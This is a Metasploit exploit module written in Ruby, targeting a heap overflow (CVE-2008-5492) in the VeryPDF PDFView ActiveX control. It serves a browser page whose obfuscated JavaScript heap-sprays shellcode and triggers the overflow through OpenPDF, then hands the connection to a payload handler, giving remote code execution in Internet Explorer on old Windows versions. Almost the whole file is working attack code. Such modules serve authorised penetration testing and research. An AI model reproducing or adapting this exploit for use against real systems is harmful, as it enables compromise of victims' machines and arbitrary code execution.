112 lines
3.5 KiB
Ruby
112 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow',
|
|
'Description' => %q{
|
|
The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow
|
|
because it fails to properly bounds-check user-supplied data before copying
|
|
it into an insufficiently sized memory buffer. An attacker can exploit this issue
|
|
to execute arbitrary code within the context of the affected application.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC', 'dean <dean[at]zerodaysolutions.com>' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-5492'],
|
|
[ 'OSVDB', '49871'],
|
|
[ 'BID','32313' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
|
|
],
|
|
'DisclosureDate' => 'Jun 16 2008',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload.
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Encode the shellcode.
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Create some nops.
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
|
|
# Set the return.
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
|
|
# Randomize the javascript variable names.
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
var_i = rand_text_alpha(rand(30) + 2)
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
rand8 = rand_text_alpha(rand(100) + 1)
|
|
|
|
content = %Q|
|
|
<html>
|
|
<object id='#{vname}' classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252'></object>
|
|
<script language="JavaScript">
|
|
var #{rand1} = unescape('#{shellcode}');
|
|
var #{rand2} = unescape('#{ret}');
|
|
var #{rand3} = 20;
|
|
var #{rand4} = #{rand3} + #{rand1}.length;
|
|
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
|
|
var #{rand5} = #{rand2}.substring(0,#{rand4});
|
|
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
|
|
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
|
|
var #{rand7} = new Array();
|
|
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
|
|
var #{rand8} = "";
|
|
for (#{var_i} = 0; #{var_i} < 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
|
|
#{vname}.OpenPDF(#{rand8}, 1, 1);
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|